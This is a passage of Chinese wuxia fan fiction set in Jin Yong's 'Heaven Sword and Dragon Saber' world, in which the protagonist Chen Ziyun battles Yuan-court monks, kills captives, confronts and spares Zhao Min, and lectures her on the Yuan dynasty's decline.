“白愁飞,你这话我可就不爱听了,虽然芷若姑娘确实是天下难得的好女子,可我这青书侄儿也不差。 怎么在你嘴里,好像是我武当占了大便宜似的。” 莫声谷与陈子云关系最***时说话也总是想方设法反驳他,尤其是在涉及武当的问题上。 “嘿,莫老七,人家正派的父亲都点头默认了,你这个小师叔凑什么热闹。” 陈子云笑道,他也知道莫声谷说话向来是不会顾及的,一直是想到什么就说什么的性格。 “莫要胡说,我大哥是谦谦君子,你如今又是武当的客人,自然对你客气。要我说,芷若姑娘跟青书正是郎才女貌天生一对。 你看,他们现在一鞭一剑配合的可不差。” 莫声谷示意两人朝战圈看去。 陈子云本来就有三分注意力盯着那边,只见得如今宋青书已经彻底加入了战圈,与周芷若并肩而立,应付着众人的围攻。 而一鞭一剑之间虽然说不上水乳交融,但是第一次配合就能有摸有样,却也是难得了。 因为宋青书功力未复,剑法以技巧代替力道,招招都是以剑尖点那些和尚的要穴,让他们不得不救。 而当他们一回撤,周芷若的鞭子就如附骨之疽一般的追上来,少说也要在对方身上咬上一口,就如出洞捕猎的巨蟒。 围攻的十几个和尚如今已经是人人带伤,个个见红了,要是再这么僵持下去,估计两人基本就胜券在握了。 “闭气。” 那个领头的和尚突然一声大喝,但是他说的不是中原话,所以除了他们自己人谁也听不懂。 只见正在围攻的几人突然同时收手,捂住了自己的口鼻。 随即一抹黄白色的粉末状烟雾突然在那个领头和尚手中爆炸开来,瞬间就笼罩了一片。 “小心。” 宋青书发现了不对,连忙开口提醒周芷若。可他不开口还好,这一开口就把这不知道是何物的粉末给吸了一些进去,瞬间就头脑发昏,四肢无力了。 宋青书以剑拄地才堪堪没有倒下,可他这会儿眼睛里看人都有了重影,只见一个和尚一只手捂着嘴鼻,另一只手已经朝他打来了。 这一掌凶猛至极,掀起的掌风把那些粉末都吹散了不少,可宋青书却是避不开了。 别说是避开,就算是能站着已经竭尽了他的全力,也不知道芷若如何了,要是能跟她死在一起倒也是值得了。 宋青书已经看不清芷若那边的情况,不单单是被粉末笼罩,而是这毒药已经让他有些意识模糊了。 忽然之间他好像感觉到自己的腰间被什么东西给缠住了,然后带着他往下拉着。 难道是黑白无常来了吗,这就是传说中的勾魂锁链,要把自己的魂拉倒幽冥地狱里去。 可宋青书突然又感觉自己不再往下沉了,而是被一个力道横向拉了过去,整个人都似乎飞了起来,直到被一个什么东西拦住。 “嘿,青书啊,你怎么这么不小心。刚才你七叔我还腆着脸在白愁飞面前夸你呢,怎么就这么不争气啊。” 莫声谷看着灰头土脸在陈子云帮助下才勉强站着的宋青书责问道。 “芷若,小心。” 宋青书此时并听不清楚莫声谷说了什么,只是迷迷糊糊的还在担心着周芷若。 “好了听到了,有机会我会告诉芷若,你自己都快撑不住了还在担心她的安危。可是多情却无用的男人,怕不是芷若的菜啊。不争气啊,小宋同学。” 陈子云低声在宋青书耳边说了一句,就把他交给了宋远桥。而他却是看向了依旧还在围攻周芷若的几人,闹剧差不多要到此为止了。 再打下去,对于体力上占弱势的周芷若就有些危险了。 第九十二章 一个不留 陈子云右脚狠狠在地上一踩,整个人就如同利箭一般射了出去。在他点中前三个和尚的时候,众人根本还没有意识到发生了什么。 而当有人出声提醒时,已经有八个和尚中招不动了。 而剩下的几个也被周芷若的白蟒长鞭打的无法招架,失去了群攻的优势,这么几个人已然不是她的对手。 等周芷若将剩下的几人收拾了,她自己也在那里呼呼的喘着粗气,刚才的以一敌多消耗实在不小。 “公子,杀吗?呼......呼......” 周芷若喘着气问道。 “诶,芷若一个姑娘家怎么总是想着打打杀杀可不好。家里不是刚好缺几个仆人吗,我看这些大和尚有的是力气,做体力活肯定是拿手的。” 陈子云暗中对着周芷若使了个眼色。 “公子说的是,不过家里要五六个仆人已经足够了,他们这也太多了些吧。” 周芷若看了几人一眼,装出一副挑选仆人的模样。 “那几个被你打伤的就算了,要治好也麻烦。这几个被我点住的都没有多大的伤势,从中选几个回去不就好了。” 陈子云道。 “公子说的是,但是这要怎么选呢,选剩下的人又如何处置?” 周芷若皱着眉头像是很为难的样子。 “狗贼,想杀就杀,想让我们做奴仆,做梦,呸。” 那领头的和尚说完还想朝陈子云吐口水。 陈子云右手轻轻一挥,一道指印立刻出现在对方的眉心上,随即睁着眼睛没了气息。 “哎,这人可真讨厌,你们说是吧?” 陈子云笑着看了剩下的和尚一圈。 众和尚怒目而视,其中两个被周芷若打倒躺在地上的还哼哼唧唧的想骂人,陈子云又各自赏了他们一指。 “好了,现在跟你们竞争的人少了。我这个人呢从来都不喜欢勉强别人,更看重一个人的主动性。 如果有想毛遂自荐的,就抓紧吧,五个人的名额,一旦错过了,可就要等下辈子喽,机会难得啊。” 陈子云此时的笑容连周芷若都觉得有些恶魔微笑的意思。 几个胆子小点的已经开始腿抖了,这些人也不过是是被元廷收编的江湖人,别指望他们对元廷有多少的忠心。 现在他们之所以没有开口求饶,只是因为都不想当第一个出头鸟而已。万一以后有机会逃回去,解释的时候,就可以把责任推给那个第一个投降的,自己只不过是随波逐流,保着性命回来继续效忠云云。 “芷若,你路上带着吃的蜂蜜应该还有不少吧?” 陈子云又向周芷若问道。 “嗯,还有两大罐呢。” 周芷若答道。 “既然如此,那我们就做做好事,把蜂蜜洒在这些已经死去的和尚身上。佛家向来崇尚割肉喂鹰,我们就完成这些和尚的志愿,让这山林里的野兽将他们的这具臭皮囊吃了吧。 哦,这里人也多了些,你随便再选几个,芷若你要是不忍心,就把蜂蜜都涂上,等野兽先选吃哪几个,然后我们再回来把活下来的人带走吧。” 陈子云恍若真有其事的说着。 “呜呜,别涂蜂蜜啊......” 第一个年轻和尚扛不住了。 陈子云单手一挥,直到指劲弹出,除了第一个屈服的小和尚,其余几人纷纷毙命。 “公子,这......” 周芷若显然有些诧异,不知为何陈子云突然就下了杀手。 “芷若,如果是对于一般的江湖厮杀,当然没有必要这般狠辣,可如今我们的对手却是元廷。 两军交战,可容不得你心慈手软。” 陈子云严肃的说道。 “是。” 周芷若明显还是有些忐忑。 “好了,慢慢适应吧。如今这个时代,正是群雄起陆的时候,以后你见惯了尸横遍野就明白了。” 陈子云也不强求周芷若现在就能明白朝代更替时候的残忍。 “白大侠,这是?” 宋远桥经过这段时间的调理,仗着深厚的内力,行动已然无碍。他本来正打算过来帮忙,却看到只剩下一个活口,便开口问道。 “宋大侠,你要是有什么想问的就问他吧,至于其他的这些人,我只能说他们死有余辜。” 陈子云指了指已经完全被攻破心理防线的小和尚对宋远桥道。 “这......如此也好。” 宋远桥毕竟是见过大场面的人,虽然陈子云下手狠辣了一些,但是想到这么多的武当弟子死在了昆仑山里,对这些不速之客也就没了同情的心思。 陈子云带着周芷若重新回到了马车里,而经过宋远桥的讯问,那个小和尚也把自己知道的所有事情都交代了。 不过他只是一个小角色,只知道是朝廷的一位大人物吩咐他们用十香软筋散对付一众江湖人物,然后把他们送到大都去。 至于为什么要这么做,幕后策划这一切的又是谁,就不是他这个小和尚能知道的了。 莫声谷在确认宋远桥已经问完话之后,结果了那个小和尚。宋远桥也没说什么,如果对方是一般的江湖人物,放他一马也未尝不可。 可对方既然是元廷的爪牙,那自然是绝对不能留活口的。张三丰最大的心愿就是祛除元廷,恢复汉人江山,他们这些做弟子的怎么会不知道。 所以但凡是被武当诸位碰到的元廷人物,都是一个字,杀! 陈子云自然是知道这些的,所以这些西域少林的和尚,从他们出现在这里开始就不可能有人活着回去。 一方面是武当的人需要时间跑路,自然不能让这些人回去报信;二来这些人本来就有取死之道,死了不过是为民除害。 十香软筋散虽然神奇,可他针对的只是内力,等武当的人缓过劲头来,一般的行动并不受影响。 而且通过陈子云多喝热水的指导,他们在放了几次水之后,这十香软筋散的效力也在急剧的下降。 不管是什么毒药,只要是作用在人体上的,都可以通过自身的身陈代谢消化掉一部分。 当然那些见血封喉的,自然就没这个机会了。 可十香软筋散本来就是一种软性的毒药,本身只要经过一段时间就会降低药效。 “白大侠,你对现在的局势,可有指教?” 宋远桥在问清楚了情况之后,就来马车中找陈子云商量对策了。 “敌人势大,而且蓄谋已久,这个时候当然是避其锋芒。” 陈子云淡淡的说道。 第九十三章 见人 “不错,我与几位师弟也是这般的看法。元廷这次是冲着整个江湖来的,其后面的准备肯定不止这些,现在与他们硬拼与我不利。” 宋远桥说道。 “那你准备如何?” 陈子云问道。 “根据宋某推测,元廷肯定在昆仑山各个出口都埋伏了人手,要不然也不可能把六大派一网打尽。 此时我们不管从何处下山,都不能保证能瞒过元廷的耳目。如此一动不如一静,我们索性就反其道而行,深入昆仑。” 宋远桥道。 “不错,昆仑山为天下山岳之祖,其间山峦峰岳更是数不胜数,一旦我们躲入其中,就算是元廷派来十万人也别想找到我们。” 陈子云笑道。 “确实如此。” 宋远桥点头附和道。 “这样,芷若就拜托几位照顾了。” 陈子云突然说道。 “什么?白大侠不准备与我们同行?” 宋远桥诧异的问道。 “公子?” 周芷若惊叫道。 “芷若,别急。我的本事你还不清楚吗,要是在平原上本公子还怕他元廷的骑兵围杀,可是在这山林之间。 就算是千人万人,我又有何惧之。” 陈子云豪气干云,正坐道。 “白大侠,这怕是......” 宋远桥有些担心。 “宋大侠别担心,既然我敢如此说自然有把握。而且有个人我一直想见见,本来她在大都待着,我不好找上门去。 这次她竟然很可能就在后面躲着,我再不去见一面就有些说不过去了。” 陈子云说到这里的时候,嘴角不自觉的上翘,彷佛是很期待与此人见面似的。 “他?是谁?” 周芷若好奇的问道。 “一个不输于你的人物,有机会到是可以介绍你们认识。” 陈子云看着周芷若,不由得想象当他们这两位天命女主以另一种方式见面会是怎么样的一番场景。 “哼,芷若可不稀罕见。” 周芷若娇哼一声。 “有些事情可能就是命中注定的,不是你想不想就能决定的。到时候见了面,可能......算了。” 陈子云话说了一半就停下来了。 “走也.....” 陈子云直接蹿出了马车,也不等武当众人当面告别,几个闪身之下,人已经到了百米之外。 “公子......哼,跑这么快做什么!” 周芷若有些幽怨的道。 “芷若,芷若,你可有受伤。” 宋青书的声音从马车外传来,他刚从昏迷中醒来就询问周芷若的情况。 可不论是武当的三代弟子告知他周芷若安然无事,还是莫声谷的保证,他都不信,非要自己过来看一眼才放心。 周芷若有些着恼的看着那个摇摇晃晃往马车这边来的宋青书,她本来对于这个年轻人并不讨厌,只是有些抵触自己家公子擅自给她安排相亲而已。 本以为作为武当第三代的继承人,宋青书怎么也应该是一个胸怀广大,志存高远之人。 但这段时间接触下来,却发现对方只知道围着自己打转,丝毫没有想着如何壮大武当,承担责任的想法。 这就让现在事业心旺盛的周芷若有些看不上对方,她自以为自己只是一个普通的渔家女出身,还知道向上攀登。 宋青书作为一个武当三代首徒,竟然只知道儿女私情,实在是让她失望至极。 “宋公子,我没事了,你别这样叫唤了。” 就算是这里只有武当派的人,可自己作为一个未出阁的姑娘,怎么能在大庭广众下这般被一个年轻男子亲密的称呼。 “芷若,你没事就好,刚才我不知道怎么就被人暗算了,正担心你也中招,要是真如此,我定杀光他们......” 宋青书神情激动的在解释,刚才自己之所以被那些和尚算计,实在是因为太担心周芷若的安危所致。 这话确实不错,可这般当着周芷若的面说出来,难免就有些邀功的嫌疑,怎么能让周芷若欢喜。 “宋公子,芷若经历了一场大战,有些累了,想休息片刻。” 周芷若打断了宋青书是絮絮叨叨。 “对对对,芷若你休息吧,那些人全然不顾江湖道义,那般的围攻,你......” 不等宋青书说完,马车上的窗门却已经关上了。 宋青书楞楞的看着,随即却深深的吸了一口,他闻到的是周芷若身上那种独特的淡雅的清香。 每次宋青书靠近周芷若的时候,这种香味总是让他着迷。他甚至认为这味道就是周芷若本身散发出来的,而不是像别的普通女子那般涂的胭脂水粉。 ...... 陈子云离开了武当众人,一路上朝着东方奔行。以他如今的警觉与眼力,也不怕别人在山里埋伏他,他自信手里的飞刀肯定能在对方出手之前就出现在他咽喉上。 第二日他便在路旁发现了一些打斗留下的痕迹,断掉的兵刃,以及上面还算新鲜的血迹,让陈子云知道这些人离开的时间不会超过三天。 陈子云加快了脚步,在临近傍晚时分,终于追上了一群人,这些人骑马的骑马,坐车的坐车。 同样是跟武当派遇上的人一样的和尚打扮,看来定是赵敏找来的西域少林的僧人无疑。 而那几家大马车内,陈子云偶尔透过飘起的窗帘布看到,里面却是堆砌满了人体。 没错就是人体,而不是人。 人坐马车要么是坐着的,要么是躺着的,可这些人却是被堆着的。 就像是被屠宰之后的牛羊一样,随意的堆砌在一旁。有些头挨着脚,有些屁股对着其他人的脸。 不过好在能看清楚服饰,这马车里的人应该是华山派的。 “看来这一路就是负责收拾华山派的了,瞧这车里人的摸样,想必都是被十香软筋散放到了的。” 陈子云心里想到。 不过马车里的人是谁,陈子云并不关心,他之所以跟着这队人马的唯一原因,就是想通过他们找到赵敏。 若是六大派的人都已经被赵敏抓了,那这位元廷的郡主可能就不会在这附近停留了,可如今武当的人因为自己的插手,没有中他们的埋伏。 那么这位自傲的小郡主肯定不会轻易的收手。 所以陈子云很有把握,只要自己跟着这对人马,必然能遇到在幕后指挥的赵敏。 第九十四章 不容情 果然不出他所料,在遇到这对队伍的第二天,他就看到了一队由八个猎户和一个贵公子组成的队伍。 有人从擒了华山派众人的队伍中走出,来到贵公子面前,跪地拜见。陈子云见对方低着头恭敬的向那位贵公子汇报着情况。 随后那位贵公子点点头,说了几句,便让着队伍带着华山派众人继续前行了。而等这些人走后,贵公子自己觉得似乎有些不如意,皱着眉头似乎在思索着什么。 “小郡主,找到你喽。” 陈子云心里一笑,随后身形连闪,就朝着那小公子而去。 “什么人!” 当陈子云刚出现在大路上,就被那猎户打扮的八个大汉发现了。也不问缘由,直接开弓朝着陈子云就是一箭。 嘿,又是个不把人命当回事的,这要是旅人误入,不是白白死在这利箭之下了。 陈子云也不避让,左手小拇指轻轻一弹,正打在那急速飞来的利箭之上,随即这箭便被打的偏转了方向,射中的陈子云右侧的一颗大树。 只见那棵树本来有一尺粗细,却被这霸道的利箭给射了个对穿。 好浑厚的力道。 “站住。” 一声声的呼和,随之而来的就是八枝箭齐齐射出。 说来真是奇怪,这要是陈子云真的站住了,岂不是就成了活靶子。 陈子云右手连弹,瞬息之间飞出四道指风。 你要问为什么对方射来八支箭,陈子云却只弹出了四道指风,那剩下的四支箭如何抵挡。 那是因为,被陈子云惊神指弹中的四支箭,不约而同的撞在了另外四支箭上,顿时箭身上庞大的力道,将八支箭同时炸的粉碎。 而陈子云却也趁此机会,在那八名猎户重新开弓搭箭之前来到了那位贵公子的身边。 陈子云就这么静静的站在了女扮男装的赵敏面前,并不没有用任何手段胁迫对方。 但就是如此,那本来气势宏宏的八名猎户却是再也不敢开弓了,因为他们知道,只要他们敢开弓,先死的一定是他们这位小主子。 而一旦这位主子死了,那他们自然也就没了活路。 所以尽管如今的陈子云就这么站着,什么都没有做,那八名猎户的头上却都已经布满了汗水。 可与这八名猎户截然不同的是这位贵公子,也就是张敏的表现。 她既没有惊慌失措,也没有遇到遇到刺杀时本能的闪躲,而是饶有兴趣的看着,或者说是观察着陈子云。 那双美丽的眼睛配合着脸上的三分英气打量着陈子云,就像是一位贵人在打量自己新得到的什么稀罕物件。 “咳咳。” 陈子云反而被这大胆的姑娘给看的有些不自在了。 “小女子赵敏,愿拜先生为师,望先生能叫我刚才那弹指的本事。” 赵敏竟然开口就是拜师。 “你不怕死,不怕我是来杀你的?” 陈子云问道。 “师父说笑,这天下间哪里会有真的不怕死的人,那些人只不过是没有见识过真正的死亡的恐怖,才能如此胡说。 不过怕死可以在心里怕,却不用表现在脸上,因为这对于死亡来讲,一个人的害怕除了表现出他的不堪之外毫无作用。 自古都有君要臣死臣不得不死的道理,而儒道又有天地君亲师的排位,要是师父真的想要弟子的命,赵敏自然坦然受之。” 赵敏说着还故意往前走了一步,昂起自己的头,露出白皙的脖颈,好像真的就是在等陈子云取自己性命似的。 “好,好,好。” 陈子云看着面前这位羞煞天下男子的绍敏郡主,不由得连连称赞。 “多谢师父夸奖。” 赵敏神色突然变的谦卑,好似真是不堪承受陈子云的夸奖。 “可惜,十香软筋散虽好,却是对我无效。” 陈子云看着赵敏那双终于产生一丝慌乱的眼睛道,原来刚才她在说那番话的时候已经偷偷的施展了十香软筋散。 “郡主快走。” 赵敏被其中一个猎户拉住了肩膀,往身后一送,随即挡在她的面前那,抽出腰间的长刀就往陈子云身上砍来。 陈子云屈指一弹,直接把这把百炼钢刀给弹蹦了,正想连这人的脑袋也一起弹了。 却发现又有两个人朝他扑了上来,即没有用他们最拿手的弓箭,也没有用刀,就是傻愣愣的用自己的身体朝陈子云扑来。 陈子云眼睛一撇,就看到有两个猎户已经架着赵敏逃出了好几步,而剩下的这六个看样子是都不想活了。 倒是有几分忠心,可这样的忠心却不能让他手下留情,自己今天可不是来这里发慈悲的。 一脚踢在朝着自己腰侧抱来的猎户胸口,只见那人的后背直接凸起了一块,随即跌落在陈子云的脚边。 而那个朝着陈子云脸上扑来的猎户,则是被陈子云一指点在了额头,随即浑身一颤,全身像是被抽取了骨头一般的瘫软。 “呀......” 剩下还活着的四个人同时朝着陈子云撞来,其中一个还抄起了刀,在另一个人接近陈子云的瞬间一道捅穿了那个人。 想借着自己人身体的掩护,将刀尖刺向陈子云的腹部。 陈子云见此心里也是有些凛然,但是手上的动作却是没停。他直接一掌拍在那个被当做掩体的倒霉鬼身上,借着反向的力道身体飘出去几米,避开了那后人的偷袭。 几人见如此都伤不到陈子云,纷纷发出如受伤的孤狼般的悲鸣,随后全都张开双手,用蒙古摔跤的把式向着陈子云而来。 这样粗陋的招法自然是练陈子云的衣服都摸不到,他们的目的显然也只剩下给那两个托着赵敏走的人争取时间。 哪怕是用他们自己的生命。 “你们做不到的。” 陈子云无情的轻语了一句。 随即惊神指连连弹出,等到最后一个人缓缓的倒在自己的脚边,他才把目光望向已经跑的只剩下三道遥远背影的方向。 “保......护......郡主。” 陈子云冷漠的看着这个满嘴鲜血,却还想伸手抱住自己双脚的壮汉。 直接一脚踢在他的脖颈上,随着咔嚓一声,陈子云也迈过了这六具尸体。 这六个人的行为,称得上一句忠勇,要是他们是站在汉人这边的,陈子云说不定都愿意与他们喝上一场大酒。 可敌之英雄,我之仇寇。在这儿两个种族之间的争夺之战中,容不下丝毫的退缩。 第九十五章 赵敏 陈子云两脚分别在地上连连踩踏,身体如一阵幻影般的朝着那几个快看不见的身影追去。 “赵一伤,钱二败你们两个还不放下我,你们知不知道坏了我大事了。” 赵敏突然之间被自己的两个手下架着走,愤然的责骂道。 “郡主,不走,那人会杀死你的。” 赵一伤脚下不停,开口解释着,眼里却已经有了热泪,因为他知道自己的那几个兄弟怕是没命回来了,他们神箭八雄却是只剩两个了。 “胡说,那人要是想杀我早就杀了,何必等我说话。” 赵敏自然是相信自己的判断的,可她速来胆大,这些手下却是要以她的性命为重。 “郡主,那个男人眼里完全没有一丝对于朝廷的敬畏之意,他是不会真的因为的身份而有所顾忌的。 在他的眼里,你跟路上随处可见的路人没什么两样。呼呼......” 赵一伤喘着粗气说道。 赵敏回忆了一番陈子云看这她的目光,那好像就是在打量一件好玩的事物,完全看不出丝毫的温暖,不由得身体一个激灵,难道他真的是来杀我的? “不,我们这样跑是没用的。你们难道没看到他有多快吗,连你们的箭都快不过他,你们难道还指望孙三毁他们能拦下他吗?” “郡主,我知道老三他们是拦不住多久的,但是能跑一点算一点。后面就由我跟老二再拦住他片刻,你自己找机会跑吧。” 赵一伤跟钱二败对视了一眼,都在对方的眼里看到了决绝之意。 两人把赵敏往远处一抛,随后就直接回头朝着来时方向又冲了回去。 “你们给我站住,我命令你们。” 赵敏本来建立起来的厚厚的威信,在此时对两个忠于自己的手下却毫无作用。 “蠢货,你们以为没了你们,我一个人就能跑掉吗?” 可不论赵敏如何咒骂,那两人还是朝着陈子云来的方向极速的冲过去了,那留下的背影,就像是在告诉她。 不论你逃不逃,他们都要为她决心赴死了,如果她不跑,就是辜负或者说是浪费了他们的牺牲。 赵敏咬着银牙,看着陈子云身上带着斑斑血迹,已经即将与他那两个不听话的手下相撞,终于她还是转身往另一个方向而去了。 陈子云看着两个从远处朝他而来的最后的两个猎户,手里捏着的指决终究还是没有弹出。 陈子云当然不是说真的被他们的所谓的不顾自己牺牲的忠诚感动,而是从袖口之中伸出了那把许久不曾动用的相思小刀。 也是时候让它见见血了,要不然实在是有些对不住它。 五十步,三十步,十步...... 陈子云持刀在手,就要往两人脖颈上划去。 “看我倚天剑。” 一道陈子云熟悉的剑芒从远处飞来,做过倚天剑三年主人的他自然知道它的霸道,抬手上撩,同时左手虚点。 在挡倚天剑芒的同时,陈子云也不打算放过这两人。 “手下留情。” 陈子云映像中的刀剑碰撞并没有到来,因为那边倚天剑还没到他这里就从空中掉落下来了。 原来这把剑不是朝他劈过来的,而是被赵敏从远处扔过来的,就是不知为何他浪费了这么好的机会没有逃走。 被陈子云点住了穴道的赵一伤和钱二败满脸死灰,郡主竟然又回来了,那他们的牺牲岂不是白费了。 “师父,手下留情。这些人虽然不知好歹冒犯了师父,但他们也是保护徒儿心切,还请师父宽宏大量,放过他们一次。呼呼......” 张敏喘着大气对陈子云说道。 陈子云饶有兴趣的看着这位不知为何放弃了逃跑,自己掉到他手上来的绍敏郡主。 “手下留情,我都杀了六个了,这两个又何必留着?” “师父说的不错,这些人也真是该死至极。可师父就看在弟子是个女儿身,在这荒山野外的,总需要两个奴仆照顾。 师父就当是心疼徒弟,留他们一条贱命。” 赵敏巧笑嫣然的说道,说完还在赵一伤和钱二败身上各自踢了一脚,将他们踢到了一边,摔倒在地。 “哦,这我倒是没想到,原来心狠手辣的绍敏郡主竟然还会如此心疼手下的性命。” 陈子云饶有兴趣的看着赵敏的面容,对方先是一挑眉头,随即就平静了下来。好似对于陈子云说破她是身份并不十分在意。 “原来师父早就知道弟子的身份,真是巧了,敏敏也猜到师父您的身份了。” 张敏也同样笑着说了一句。 “哦?这倒是奇了,你知道我是谁?” 陈子云也是有些好奇,不知是赵敏在故弄虚玄还是真的猜到了。 “嘻嘻,师父身份虽然神秘,但是敏敏是有这个信心。” 赵敏笑嘻嘻的说道。 那确信无疑的眼神,让陈子云都疑惑,难道对方真的知道了自己的身份,他这几年可没怎么在江湖上露过面。 “那你倒是说说看?” “师父便是借刀盟盟主,白愁飞。” 赵敏眼神紧紧盯着陈子云的表情,语气却是肯定无疑的。 陈子云下意识的捏了一下袖中的手指,眼神惊异的望着赵敏,脑子里却是不停的在思索自己到底是哪里露出了马脚。 “嘻嘻,师父是不是在想,自己是哪里暴露了身份?” 张敏那张小脸好像就是道具一般,瞬间又从刚才的严肃中变的笑闹了。 “不错,我在江湖上现身本来就少,最晚的一次也是五六年前的事情了,那时候你还是个半大的孩子,不可能注意的到。 我倒是真的有些好奇,你是如何认出我来的。” 陈子云道。 “嘻嘻,敏敏自然是没有那种福气的能早早的见识师父的风采。我认识的并不是师父的人,而是师父的刀。” 赵敏指了指还夹在陈子云手指之间的那把相思小刀。 “你确定你见过这把刀?” 陈子云更是疑惑,自己多久没动用相思刀了,这赵敏怎么可能见过。 “真是一把漂亮的小刀,师父,要不敏敏拿倚天剑跟您换这把刀如何?” 赵敏说着就伸手往陈子云手上的相思小刀抓来。 陈子云奇异的看着她,也不动作,只是用眼睛就这么盯着赵敏的每一个动作,他现在真的为这位小姑娘的胆大而惊讶。 当她的手真的将要碰到相思的时候,陈子云才把刀收回了袖中,让赵敏抓了一个空,他自然不会让任何别的人碰到他的刀,除非是死人。 第九十六章 回家 “师父,这可是谁与争锋的倚天剑啊,难道您真的不心动吗?” 赵敏自然的收回手,似乎对于陈子云的拒绝丝毫不觉得尴尬。 “谁与争锋?不过是自说自话罢了。” 陈子云不屑的哼了一句。 “师父,我听前辈高人说过,一个人的内功到了一定火候,草木竹石皆可为剑。想来师父肯定是功夫练到了这种境界,才能不将倚天剑放在心上,敏敏实在佩服。” 赵敏说道。 “奉承话说的再多也无用,可惜你终究是元廷的郡主,否则以你的资质,说不定我们真的能有一场师徒的缘分。” 陈子云摇头叹息道,对于这个聪明才智都不弱于人的姑娘,他还是有几分好感的,可惜他们注定是敌对的立场。 “师父既然能建立借刀盟,收拢那么多无家可归之人,将一个普普通通的村庄经营成那般繁华摸样,定是当世不可多得的大才。 为什么就不想着效忠朝廷,报效国家呢?借刀盟的那些村庄里可不只是有汉人,更是与色目商人也保持的十分紧密的联系。为什么师父能对这些人同等视之却单单就对朝廷这么不待见?” 赵敏有些愤愤不平的问道。 “不是我不想,而是你们做不到啊!” 陈子云无奈的摇头。 “师父这是何意?” 赵敏不解的问道。 “你们蒙古人打天下确实厉害,可坐江山却也也真的不行。所以不管那位囊括天地的成吉思汗还是英雄了得的忽必烈。 也不论你们蒙古铁骑将欧亚大陆都犁了个遍,但是终究只能是昙花一现,你们带来的只是杀戮,却没有建设。” 陈子云道。 “师父何出此言,如今天下不是已经蒙汉各族并存,只要我们都能团结起来,不要再自相残杀,到时候自然能够越来越好。” 赵敏有些着急的解释着。 “太晚了,你们蒙古崛起的太快,也得到的太多了,可你们自己的文化却太单薄了,并不具备统治一个大帝国的基础。 而你们的那些先辈在南下之后,只想着用自己的方式将这江南的水田变成北方的牧场。 没有充分正视这个国家已经传承了几千年的底层文化,没有重视那些盘根措节的士绅官僚。 以为只要把当时的那些统治者杀干净了,就自然由你们统治他的人民了。 可是你们根本不知道,一个被儒教文化已经系统教育了千年的民族,他们的底层组织与你们是多么的不同。 你们即不能融入这种文化,又没有拿出一种可以替代它的文化。 若是在你们的强盛时期自然可以凭借武力镇压,可一旦你们自身出现了问题,就会入雪崩一般的坍塌。 就如现在这般,你们自己内部矛盾不断,现在的蒙古贵族又严重腐化,你们引以为豪的蒙古骑兵也渐渐失去了往日的强大。 那么所有的矛盾自然就在这同一时间爆发,随后就是野火燎原,势不可挡!” 赵敏没有再反驳陈子云的话,而是咬着自己的嘴唇,神色有些郁郁。作为实权派王爷的女儿,她又如此聪慧,怎么可能看不出元廷当今的问题所在。 可事到如今,她跟他那位父亲就算再怎么当元廷的缝补匠,也不如那些日渐奢靡的蒙古贵族的挥霍来的快。 最要命的是,他们挥霍的不是金银财帛,而是元廷的未来。 “敏敏·特穆尔,谢过白先生教诲。” 赵敏对着陈子云行了一个弟子礼,这次她没有再称陈子云为师父,语气却是更加庄重了些。 陈子云看着眼前这位,在这个时代绝对算是特立独行的女子,不知怎么的心里已经没有了再杀人的心思,或者说其实他从来就没有真正想要杀过她。 至于说放过这个聪明过头的小丫头就会影响元廷的存灭,那这元廷也太脆弱了,竟然需要一个这样刚成人的小丫头去干系生死。 也太不把这天下群雄放在眼里,就算是有十个赵敏又如何能当着住这涛涛大世的到来。 “你走吧。” 陈子云淡然说道。 “谢先生不杀之恩。” 赵敏拱手谢道。 “这江湖朝堂你怎么折腾我不管,但要是哪一天你把刀锋指向了普通黎民,那就算是你躲进皇宫里,也是躲不过白某这一刀的。” 陈子云还是发出了一声警告。 “敏敏·特穆尔在此立誓,就算我大元朝廷在此断送,也绝不滥杀无辜百姓。如违此誓,天地人神共弃之。” 听张敏发了如此重誓,陈子云挥挥手示意对方可以离开了。 “白先生,是借刀令上的那把小刀。” 赵敏说完便走了。 “原来如此。” 陈子云看着自己手中的相思,这才想起所有借刀令都是自己亲手刻上的,而上面的那把小刀正是以相思为模版的,难怪赵敏能认出来。 至于赵敏是如何得到借刀令的,陈子云并不意外,作为主持江湖一脉的朝廷人马,自然不难拿到一枚借刀令。 陈子云大略算下,从他手上刻出来的借刀令已经不下百枚了,赵敏能得到一枚并不意外。 意外的是赵敏的细心,一般人可不会注意着借刀令上的这些细节,也不会看一眼就能确定自己的相思刀就是借刀令上的刀刻。 更没有能力在这样的瞬间就断定,自己会是借刀盟的盟主,一切都是赵敏那远超常人的见识、胆略与聪慧。 “芷若你可要努力啊,这位除了武功,其他方面可都在你之上呢。” 陈子云望着西边的昆仑山呢喃了一句。 该见的人已经见过了,陈子云也没有再去找武当的人,就自己一个人慢悠悠的晃回了他的第一村里。 至于周芷若,以她如今的本事与聪慧,要是还要他时时看护,那才是打击她的自尊心呢。 陈子云到家没多久,就收到了黄柏年传回来的消息。武当的人马已经都回到了武当山,而其他的门派却都被元廷的人抓去了大都。 张无忌成为了明教新一代的教主,飞鹰教重归明教。如今明教高手有张无忌、杨逍、殷天正、韦一笑加上五散人以及五行旗的各个旗主副旗主,明教的实力已经直追阳顶天在世之时。 第九十七章 赵钱来信 而周芷若却是消失在了黄柏年的视线之中,根据他得到的消息,周芷若即没有跟着武当的人回武当,也没有在昆仑现身过。 因此黄柏年还故意找人打探了一番,可周芷若却是故意在躲着他一般,无论他怎么寻找也不见人。 他在昆仑地区留下了诸多联系的暗号,也没有得到周芷若的回馈。黄柏年有些担心的询问,陈子云这边是否亲自找寻一番,要是她也被元廷的人给抓去了,那就不妙了。 陈子云看到这里只是淡淡的一笑,黄柏年这是关心则乱,他以为周芷若还是那个事事争先却依旧年轻的小丫头。 “且看。” 陈子云的回复就是这两个字。 风云即起,周芷若这小丫头自然也就不甘寂寞了,不过也是时候放她凤舞九天了。 老是关在笼子里的鸟,终究有一天会忘记翅膀是怎么挥舞的。 又过了一段时间,黄柏年再次传来消息,说是有人冒充明教将少林给清理了,他一路上顺手救了几个逃出来的少林弟子。 还跟一个面容丑陋的头陀交手了一番,对方的功夫不在他之下,要不是对方似乎有别的要紧事,他恐怕讨不了好。 当黄柏年查探少林之时便发现了,那明显嫁祸于人的十六个字。 “先诛少林,再灭武当,惟我明教,武林称王!” 随后张无忌带着明教众人解救了武当的危难,同时也暴露了这一切原来都是元廷的阴谋。 目的就是要让明教与武林人士自相残杀,好让元廷做个得利的渔翁。 这伙朝廷人们的领头人赵敏自然也就暴露了,而其手下的三个奴仆,加上深不可测的玄冥二老,又有十香软筋散这种奇药,对付一般的江湖门派实在是小菜一碟。 